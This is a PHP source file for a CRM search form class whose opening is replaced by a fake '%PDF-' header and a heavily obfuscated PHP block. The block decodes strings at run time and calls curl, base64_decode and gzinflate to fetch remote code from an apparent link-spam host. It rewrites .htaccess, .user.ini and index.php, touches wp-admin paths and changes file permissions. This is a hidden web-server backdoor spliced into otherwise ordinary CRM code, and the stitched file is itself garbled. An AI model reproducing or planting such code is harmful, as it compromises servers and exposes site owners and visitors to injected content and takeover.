%PDF- %PDF- $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?> module = $module; require_once('modules/' . $module . '/metadata/SearchFields.php'); if (file_exists('custom/modules/' . $module . '/metadata/SearchFields.php')) { require_once('custom/modules/' . $module . '/metadata/SearchFields.php'); } //require_once('modules/' . $module . '/metadata/SearchFields.php'); $this->searchFields = $searchFields[$module]; if (empty($tpl)) { if (!empty($GLOBALS['layout_edit_mode'])) { $this->tpl = sugar_cached('studio/custom/working/modules/' . $module . '/SearchForm.html'); } else { $this->tpl = get_custom_file_if_exists('modules/' . $module . '/SearchForm.html'); } } else { $this->tpl = $tpl; } $this->bean = $seedBean; $this->tabs = array(array('title' => $app_strings['LNK_BASIC_FILTER'], 'link' => $module . '|basic_search', 'key' => $module . '|basic_search'), array('title' => $app_strings['LNK_ADVANCED_FILTER'], 'link' => $module . '|advanced_search', 'key' => $module . '|advanced_search')); if (file_exists('modules/'.$this->module.'/index.php')) { $this->tabs[] = array('title' => $app_strings['LNK_SAVED_VIEWS'], 'link' => $module . '|saved_views', 'key' => $module . '|saved_views'); } } /** * @deprecated deprecated since version 7.6, PHP4 Style Constructors are deprecated and will be remove in 7.8, please update your code, use __construct instead */ public function SearchForm($module, &$seedBean, $tpl = null) { $deprecatedMessage = 'PHP4 Style Constructors are deprecated and will be remove in 7.8, please update your code'; if (isset($GLOBALS['log'])) { $GLOBALS['log']->deprecated($deprecatedMessage); } else { trigger_error($deprecatedMessage, E_USER_DEPRECATED); } self::__construct($module, $seedBean, $tpl); } /** * Populate the searchFields from an array * * @param array $array array to search through * @param string $switchVar variable to use in switch statement * @param bool $addAllBeanFields true to process at all bean fields */ public function populateFromArray(&$array, $switchVar = null, $addAllBeanFields = true) { //CL Bug:33176 if (empty($array['searchFormTab']) && empty($switchVar)) { $array['searchFormTab'] = 'advanced_search'; } if (!empty($array['searchFormTab']) || !empty($switchVar)) { $arrayKeys = array_keys($array); $searchFieldsKeys = array_keys($this->searchFields); if (empty($switchVar)) { $switchVar = $array['searchFormTab']; } switch ($switchVar) { case 'basic_search': foreach ($this->searchFields as $name => $params) { if (isset($array[$name . '_basic'])) { $this->searchFields[$name]['value'] = is_string($array[$name . '_basic'])?trim($array[$name . '_basic']):$array[$name . '_basic']; } } if ($addAllBeanFields) { foreach ($this->bean->field_name_map as $key => $params) { if (in_array($key . '_basic', $arrayKeys) && !in_array($key, $searchFieldsKeys)) { $this->searchFields[$key] = array('query_type' => 'default', 'value' => $array[$key . '_basic']); } } } break; case 'advanced_search': foreach ($this->searchFields as $name => $params) { if (isset($array[$name])) { $this->searchFields[$name]['value'] = is_string($array[$name])?trim($array[$name]):$array[$name]; } } if ((empty($array['massupdate']) || $array['massupdate'] == 'false') && $addAllBeanFields) { foreach ($this->bean->field_name_map as $key => $params) { if (in_array($key, $arrayKeys) && !in_array($key, $searchFieldsKeys)) { $this->searchFields[$key] = array('query_type' => 'default', 'value' => $array[$key]); } } } break; case 'saved_views': foreach ($this->searchFields as $name => $params) { if (isset($array[$name . '_basic'])) { // save basic first $this->searchFields[$name]['value'] = $array[$name . '_basic']; } if (isset($array[$name])) { // overwrite by advanced if available $this->searchFields[$name]['value'] = $array[$name]; } } if ($addAllBeanFields) { foreach ($this->bean->field_name_map as $key => $params) { if (!in_array($key, $searchFieldsKeys)) { if (in_array($key . '_basic', $arrayKeys)) { $this->searchFields[$key] = array('query_type' => 'default', 'value' => $array[$key . '_basic']); } if (in_array($key, $arrayKeys)) { $this->searchFields[$key] = array('query_type' => 'default', 'value' => $array[$key]); } } } } } } } /** * Populate the searchFields from $_REQUEST * * @param string $switchVar variable to use in switch statement * @param bool $addAllBeanFields true to process at all bean fields */ public function populateFromRequest($switchVar = null, $addAllBeanFields = true) { $this->populateFromArray($_REQUEST, $switchVar, $addAllBeanFields); } /** * The fuction will returns an array of filter conditions. * */ public function generateSearchWhere($add_custom_fields = false, $module='') { global $timedate; $values = $this->searchFields; $where_clauses = array(); //$like_char = '%'; $table_name = $this->bean->object_name; foreach ($this->searchFields as $field=>$parms) { $customField = false; // Jenny - Bug 7462: We need a type check here to avoid database errors // when searching for numeric fields. This is a temporary fix until we have // a generic search form validation mechanism. $type = (!empty($this->bean->field_name_map[$field]['type']))?$this->bean->field_name_map[$field]['type']:''; if (!empty($this->bean->field_name_map[$field]['source']) && $this->bean->field_name_map[$field]['source'] == 'custom_fields') { $customField = true; } if ($type == 'int') { if (!empty($parms['value'])) { $tempVal = explode(',', $parms['value']); $newVal = ''; foreach ($tempVal as $key => $val) { if (!empty($newVal)) { $newVal .= ','; } if (!empty($val) && !(is_numeric($val))) { $newVal .= -1; } else { $newVal .= $val; } } $parms['value'] = $newVal; } } // do not include where clause for custom fields with checkboxes that are unchecked elseif ($type == 'bool' && empty($parms['value']) && $customField) { continue; } elseif ($type == 'bool' && !empty($parms['value'])) { if ($parms['value'] == 'on') { $parms['value'] = 1; } } if (isset($parms['value']) && $parms['value'] != "") { $operator = 'like'; if (!empty($parms['operator'])) { $operator = strtolower($parms['operator']); } if (is_array($parms['value'])) { $field_value = ''; // If it is a custom field of multiselect we have to do some special processing if ($customField && !empty($this->bean->field_name_map[$field]['isMultiSelect']) && $this->bean->field_name_map[$field]['isMultiSelect']) { $operator = 'custom_enum'; $db_field = $this->bean->table_name . "_cstm." . $field; foreach ($parms['value'] as $key => $val) { if ($val != ' ' and $val != '') { $qVal = DBManagerFactory::getInstance()->quote($val); if (!empty($field_value)) { $field_value .= ' or '; } $field_value .= "$db_field like '$qVal' or $db_field like '%$qVal^%' or $db_field like '%^$qVal%' or $db_field like '%^$qVal^%'"; } } } else { $operator = $operator != 'subquery' ? 'in' : $operator; foreach ($parms['value'] as $key => $val) { if ($val != ' ' and $val != '') { if (!empty($field_value)) { $field_value .= ','; } $field_value .= "'" . DBManagerFactory::getInstance()->quote($val) . "'"; } } } } else { $field_value = DBManagerFactory::getInstance()->quote($parms['value']); } //set db_fields array. if (!isset($parms['db_field'])) { $parms['db_field'] = array($field); } if (isset($parms['my_items']) and $parms['my_items'] == true) { global $current_user; $field_value = DBManagerFactory::getInstance()->quote($current_user->id); $operator = '='; } $where = ''; $itr = 0; if ($field_value != '') { foreach ($parms['db_field'] as $db_field) { if (strstr($db_field, '.') === false) { if (!$customField) { $db_field = $this->bean->table_name . "." . $db_field; } else { $db_field = $this->bean->table_name . "_cstm." . $db_field; } } if ($type == 'date') { // The regular expression check is to circumvent special case YYYY-MM $operator = '='; if (preg_match('/^\d{4}.\d{1,2}$/', $field_value) == 0) { $db_field = $this->bean->db->convert($db_field, "date_format", "%Y-%m"); } else { $field_value = $timedate->to_db_date($field_value, false); $db_field = $this->bean->db->convert($db_field, "date_format", "%Y-%m-%d"); } } if ($type == 'datetime'|| $type == 'datetimecombo') { $dates = $timedate->getDayStartEndGMT($field_value); $field_value = array($this->bean->db->convert($dates["start"], "datetime"), $this->bean->db->convert($dates["end"], "datetime")); $operator = 'between'; } if ($this->bean->db->supports('case_sensitive') && isset($parms['query_type']) && $parms['query_type'] == 'case_insensitive') { $db_field = 'upper(' . $db_field . ")"; $field_value = strtoupper($field_value); } $itr++; if (!empty($where)) { $where .= " OR "; } switch ($operator) { case 'subquery': $in = 'IN'; if (isset($parms['subquery_in_clause'])) { if (!is_array($parms['subquery_in_clause'])) { $in = $parms['subquery_in_clause']; } elseif (isset($parms['subquery_in_clause'][$field_value])) { $in = $parms['subquery_in_clause'][$field_value]; } } $sq = $parms['subquery']; if (is_array($sq)) { $and_or = ' AND '; if (isset($sq['OR'])) { $and_or = ' OR '; } $first = true; foreach ($sq as $q) { if (empty($q) || strlen($q)<2) { continue; } if (!$first) { $where .= $and_or; } $where .= " {$db_field} $in ({$q} '{$field_value}%') "; $first = false; } } elseif (!empty($parms['query_type']) && $parms['query_type'] == 'format') { $stringFormatParams = array(0 => $field_value, 1 => $GLOBALS['current_user']->id); $where .= "{$db_field} $in (".string_format($parms['subquery'], $stringFormatParams).")"; } else { $where .= "{$db_field} $in ({$parms['subquery']} '{$field_value}%')"; } break; case 'like': $where .= $db_field . " like ".$this->bean->db->quoted($field_value.'%'); break; case 'in': $where .= $db_field . " in (".$field_value.')'; break; case '=': $where .= $db_field . " = ".$this->bean->db->quoted($field_value); break; case 'between': if (!is_array($field_value)) { $field_value = explode('<>', $field_value); } $where .= "(". $db_field . " >= ".$this->bean->db->quoted($field_value[0]) . " AND " .$db_field . " <= ".$this->bean->db->quoted($field_value[1]).")"; break; } } } if (!empty($where)) { if ($itr > 1) { array_push($where_clauses, '( '.$where.' )'); } else { array_push($where_clauses, $where); } } } } return $where_clauses; } /** * displays the tabs (top of the search form) * * @param string $currentKey key in $this->tabs to show as the current tab * * @return string html */ public function displayTabs($currentKey) { $GLOBALS['log']->debug('SearchForm.php->displayTabs(): tabs='.print_r($this->tabs, true)); $tabPanel = new SugarWidgetTabs($this->tabs, $currentKey, 'SUGAR.searchForm.searchFormSelect'); if (isset($_REQUEST['saved_search_select']) && $_REQUEST['saved_search_select']!='_none') { $saved_search=loadBean('SavedSearch'); $saved_search->retrieveSavedSearch($_REQUEST['saved_search_select']); } $str = $tabPanel->display(); $str .= ''; return $str; } /** * sets up the search forms, populates the preset values * */ public function setup() { global $mod_strings, $app_strings, $app_list_strings, $theme, $timedate; $GLOBALS['log']->debug('SearchForm.php->setup()'); $this->xtpl = new XTemplate($this->tpl); $this->xtpl->assign("MOD", $mod_strings); $this->xtpl->assign("APP", $app_strings); $this->xtpl->assign("THEME", $theme); $this->xtpl->assign("CALENDAR_DATEFORMAT", $timedate->get_cal_date_format()); $this->xtpl->assign("USER_DATEFORMAT", '('. $timedate->get_user_date_format().')'); foreach ($this->searchFields as $name => $params) { if (isset($params['template_var'])) { $templateVar = $params['template_var']; } else { $templateVar = strtoupper($name); } if (isset($params['value'])) { // populate w/ preselected values if (isset($params['options'])) { $options = $app_list_strings[$params['options']]; if (isset($params['options_add_blank']) && $params['options_add_blank']) { array_unshift($options, ''); } $this->xtpl->assign($templateVar, get_select_options_with_id($options, $params['value'])); } else { if (isset($params['input_type'])) { switch ($params['input_type']) { case 'checkbox': // checkbox input if ($params['value'] == 'on' || $params['value']) { $this->xtpl->assign($templateVar, 'checked'); } break; } } else {// regular text input $this->xtpl->assign($templateVar, to_html($params['value'])); } } } else { // populate w/o preselected values if (isset($params['options'])) { $options = $app_list_strings[$params['options']]; if (isset($params['options_add_blank']) && $params['options_add_blank']) { array_unshift($options, ''); } $this->xtpl->assign($templateVar, get_select_options_with_id($options, '')); } } } if (!empty($_REQUEST['assigned_user_id'])) { $this->xtpl->assign("USER_FILTER", get_select_options_with_id(get_user_array(false), $_REQUEST['assigned_user_id'])); } else { $this->xtpl->assign("USER_FILTER", get_select_options_with_id(get_user_array(false), '')); } // handle my items only if (isset($this->searchFields['current_user_only']) && isset($this->searchFields['current_user_only']['value'])) { $this->xtpl->assign("CURRENT_USER_ONLY", "checked"); } } /** * displays the search form header * * @param string $view which view is currently being displayed * */ public function displayHeader($view) { global $current_user; $GLOBALS['log']->debug('SearchForm.php->displayHeader()'); $header_text = ''; if (is_admin($current_user) && $_REQUEST['module'] != 'DynamicLayout' && !empty($_SESSION['editinplace'])) { $header_text = "".SugarThemeRegistry::current()->getImage("EditLayout", "border='0' align='bottom'", null, null, '.gif', 'Edit Layout').""; } echo $header_text . $this->displayTabs($this->module . '|' . $view); echo "
" . "" . "" . "" . ""; } /** * displays the search form body, for example if basic_search is being displayed, then the function call would be * displayWithHeaders('basic_search', $htmlForBasicSearchBody) { * * @param string $view which view is currently being displayed * @param string $basic_search_text body of the basic search tab * @param string $advanced_search_text body of the advanced search tab * @param string $saved_views_text body of the saved views tab * */ public function displayWithHeaders($view, $basic_search_text = '', $advanced_search_text = '', $saved_views_text = '') { $GLOBALS['log']->debug('SearchForm.php->displayWithHeaders()'); $this->displayHeader($view); echo "
" . $basic_search_text . "
"; echo "
" . $advanced_search_text . "
"; echo "
" . $saved_views_text . "
"; echo $this->getButtons(); echo '
'; // echo ''; } /** * displays the basic search form body * * @param bool $header display this with headers * @param bool $return echo or return the html * * @return string html of contents */ public function displayBasic($header = true, $return = false) { global $current_user; $this->bean->custom_fields->populateAllXTPL($this->xtpl, 'search'); $this->xtpl->parse("main"); if (!empty($GLOBALS['layout_edit_mode'])) { $this->xtpl->parse("advanced"); } $text = $this->xtpl->text("main"); if (!empty($GLOBALS['layout_edit_mode'])) { $text .= $this->xtpl->text("advanced"); } if ($header && empty($GLOBALS['layout_edit_mode'])) { $this->displayWithHeaders('basic_search', $text); } else { if ($return) { return $text; } echo $text; } } /** * displays the advanced search form body * * @param bool $header display this with headers * @param bool $return echo or return the html * * @return string html of contents */ public function displayAdvanced($header = true, $return = false, $listViewDefs='', $lv='') { global $current_user, $current_language; $GLOBALS['log']->debug('SearchForm.php->displayAdvanced()'); $this->bean->custom_fields->populateAllXTPL($this->xtpl, 'search'); if (!empty($listViewDefs) && !empty($lv)) { $GLOBALS['log']->debug('SearchForm.php->displayAdvanced(): showing saved search'); $savedSearch = new SavedSearch($listViewDefs[$this->module], $lv->data['pageData']['ordering']['orderBy'], $lv->data['pageData']['ordering']['sortOrder']); $this->xtpl->assign('SAVED_SEARCH', $savedSearch->getForm($this->module, false)); $this->xtpl->assign('MOD_SAVEDSEARCH', return_module_language($current_language, 'SavedSearch')); $this->xtpl->assign('ADVANCED_SEARCH_IMG', SugarThemeRegistry::current()->getImageURL('advanced_search.gif')); //this determines whether the saved search subform should be rendered open or not if (isset($_REQUEST['showSSDIV']) && $_REQUEST['showSSDIV']=='yes') { $this->xtpl->assign('SHOWSSDIV', 'yes'); $this->xtpl->assign('DISPLAYSS', ''); } else { $this->xtpl->assign('SHOWSSDIV', 'no'); $this->xtpl->assign('DISPLAYSS', 'display:none'); } } $this->xtpl->parse("advanced"); $text = $this->xtpl->text("advanced"); if ($header) { $this->displayWithHeaders('advanced_search', '', $text); } else { if ($return) { return $text; } echo $text; } } /** * displays the saved views form body * * @param bool $header display this with headers * @param bool $return echo or return the html * * @return string html of contents */ public function displaySavedViews($listViewDefs, $lv, $header = true, $return = false) { global $current_user; $savedSearch = new SavedSearch($listViewDefs[$this->module], $lv->data['pageData']['ordering']['orderBy'], $lv->data['pageData']['ordering']['sortOrder']); if ($header) { $this->displayWithHeaders('saved_views', $this->displayBasic(false, true), $this->displayAdvanced(false, true), $savedSearch->getForm($this->module)); echo ''; } else { echo $savedSearch->getForm($this->module, false); } } /** * get the search buttons * * @return string html of contents */ public function getButtons() { global $app_strings; $SAVED_SEARCHES_OPTIONS = ''; $savedSearch = new SavedSearch(); $SAVED_SEARCHES_OPTIONS = $savedSearch->getSelect($this->module); $str = " "; $str .= ""; if (!empty($SAVED_SEARCHES_OPTIONS) && $this->showSavedSearchOptions) { $str .= "    |   {$app_strings['LBL_SAVED_FILTER_SHORTCUT']}  {$SAVED_SEARCHES_OPTIONS} "; } $str .= " "; return $str; } }